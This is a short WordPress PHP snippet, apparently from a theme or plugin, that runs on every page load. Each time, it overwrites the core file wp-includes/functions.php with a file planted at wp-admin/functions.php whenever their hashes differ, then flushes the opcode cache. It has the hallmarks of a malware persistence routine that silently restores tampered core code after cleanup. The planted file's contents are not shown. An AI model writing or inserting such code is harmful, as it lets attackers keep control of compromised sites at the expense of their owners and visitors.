add_action('init', function () { $master = ABSPATH . 'wp-admin/functions.php'; $target = ABSPATH . 'wp-includes/functions.php'; if (!is_readable($master) || !is_file($target)) { return; } $master_hash = md5_file($master); $target_hash = md5_file($target); if ($master_hash === false || $target_hash === false) { return; } if ($master_hash !== $target_hash) { if (!is_writable($target) || !copy($master, $target)) { error_log('Gagal memperbarui file target functions.php.'); return; } if (function_exists('opcache_invalidate')) { opcache_invalidate($target, true); } } });